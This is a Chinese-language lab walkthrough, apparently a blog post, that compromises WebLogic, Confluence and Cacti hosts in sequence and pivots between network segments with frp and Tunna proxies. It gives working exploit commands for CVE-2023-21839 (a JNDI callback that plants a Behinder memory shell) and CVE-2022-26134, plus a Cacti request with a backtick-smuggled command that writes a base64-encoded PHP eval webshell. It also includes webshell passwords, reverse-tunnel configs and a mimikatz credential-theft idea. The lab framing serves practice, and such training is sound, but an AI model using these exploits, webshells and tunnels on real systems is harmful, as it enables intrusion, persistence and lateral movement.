> 文章列表 > Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

靶场

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

  • weblogic - confluence - cacti

与实际区别

  1. 没有太多限制,没有杀软、waf
  2. 靶场每个机器都是跨网段机器
  3. 靶场中机器数和种类很少的多,网络复杂性低很多
  4. 靶场中没有蜜罐,不需要考虑被溯源

1.网络边界Weblogic

通过外部信息收集发现其在 192 网段机器上开放 7001 端口为 weblogic 服务

拿shell

使用 poc 打入冰蝎内存马

./CVE-2023-21839 -ip 192.168.186.143 -port 7001 -ldap ldap://192.168.186.1:1389/Basic/WeblogicMemshell1# filter 内存马
# https://github.com/Jeromeyoung/JNDIExploit-1

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

其中 jndiExploit 支持普通shell和冰蝎马,冰蝎马连接需要小改一下冰蝎客户端,参考链接:

  1. 冰蝎改造之适配基于tomcat Filter的无文件webshell
  2. 改造冰蝎客户端适配JNDIExploit的内存马
  3. JNDIExploit工具冰蝎内存马连接

测试

http://192.168.186.143:7001/console/login/LoginForm.jsp?type=basic&pass=whoami

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

使用修改后的冰蝎连接内存马,在访问时需要添加 X-Options-Ai 头部,密码为rebeyond

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

经过简单信息收集发现其有两个网卡,存在一个内网段 10.10.20.12/24

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

systeminfo 发现其为一台 Windows Server2012 R2 机器,有几种思路

  1. 直接搭建隧道代理去横向移动
  2. 利用漏洞新建 Windows 用户,使用3389远程桌面连接
  3. 抓取密码使用 RDP 远程桌面,但是 2012 直接使用 mimikatz 抓不出来密码,需要修改注册表强制锁屏等待管理员登陆

搭建frp反向代理

这里我们使用物理机来代替 vps,使用 frp 搭建反向代理,首先通过冰蝎上传 frpc 客户端,在虚拟终端执行

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

这里配置文件 frpc.ini

[common]
server_addr = 192.168.186.1  #远程 vps IP
server_port = 7891[http_proxy]
type = tcp
local_ip = 10.10.10.131 #本机内网IP
remote_port = 1234  
local_port = 1234
plugin = socks5

在 vps 启动 frps

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

Frps 其配置文件为

[common]
bind_port = 7891
bind_addr = 0.0.0.0

然后使用 proxifier 代理软件,将 frp 代理设置为全局代理,方便我们使用浏览器访问,首先添加代理服务器,IP 设置为 192.168.186.1 因为是本地或者设置 0.0.0.0 也可以

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

然后添加代理规则,指定访问 10.10.10.* 的流量走 frp 代理

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

这样我们就可以在浏览器直接访问 10.10.10.130:8090 了

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

连接过程示意如下:

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

2.内网confluence

拿shell

java -jar CVE-2022-26134.jar http://10.10.10.130:8090 pass key

打入内存马击中上线哥斯拉(下图IP应为10.10.10.130:8090)

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

通过信息收集发现其还存在另外一个网段 10.0.0.*

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

搭建frp反向代理

因为目标机器除 8090 端口可以正常双向通信外,其他端口只出不进,这样的话我们可以再搭建一层 frp 隧道,在 confluence 机器作为 frpc, Windows Weblogic 作为 frps

使用哥斯拉上传 frpc,但是一直上传不上去,怀疑是哥斯拉连接时设置了 Connection: close 导致,这样尝试将 frpc 分段上传,共19个文件

# 压缩并分段
tar -czvf - frpc | split -b 250K - frpc.tar.

将文件上传至 confluence 服务器,使用命令组合并解压文件

cat frpc.tar.* | tar -zxv

上传 frpc.ini 配置文件,修改如下

[common]
server_addr = 10.10.10.132
server_port = 7892[http_proxy]
type = tcp
local_ip = 127.0.0.1
local_port = 2345
remote_port = 2345
plugin = socks5

WebLogic fps.ini配置文件如下

[common]
bind_port = 7892
bind_addr = 0.0.0.0

启动之后,在物理机客户端配置 proxifier 代理,首先添加代理服务器,然后添加代理链

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

然后添加一条代理规则

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

之后就可以使用浏览器去访问 10.0.0.131/cacti 服务

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

下图为目前环境

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

3.内网cacti

拿shell

使用 cve 写入哥斯拉 webshell

http://10.0.0.131/cacti/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`echo "PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7" | base64 -d >2.php`# <?php eval($_POST["pass"]);

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

使用哥斯拉连接

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

经过信息收集发现其有两张网卡

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

搭建http正向代理

经测试,该机器只有 80 端口可以双向通信,可以搭建基于 http 的正向代理隧道,访问 10.0.10.* 网段

使用 python -V 命令发现 confluence 机器上的 python 版本为 2.7.5 隧道代理工具可以选择 httptunnel:https://github.com/SECFORCE/Tunna

首先将 php 的 payload 上传至 cacti 目录下

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

在 confluence 哥斯拉上传 tunnel 文件

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

使用命令启动

python proxy.py -u http://10.0.0.131/cacti/conn.php -l 5794

连接远程 php 文件,开启正向代理,将 confluence 机器的 5794 端口作为 socks 转发

接下来还是配置物理机 proxifier ,首先增加代理服务器和代理链,这里我添加了一个新的代理链,方便排错,其中 10.0.0.132 confluence IP

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

添加规则,将通向 10.0.10.x 的流量走新的代理链路

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

开启代理前是无法正常访问 10.0.10.129 的,开启代理后可以访问,如下图

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

最终网络代理情况如下图

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场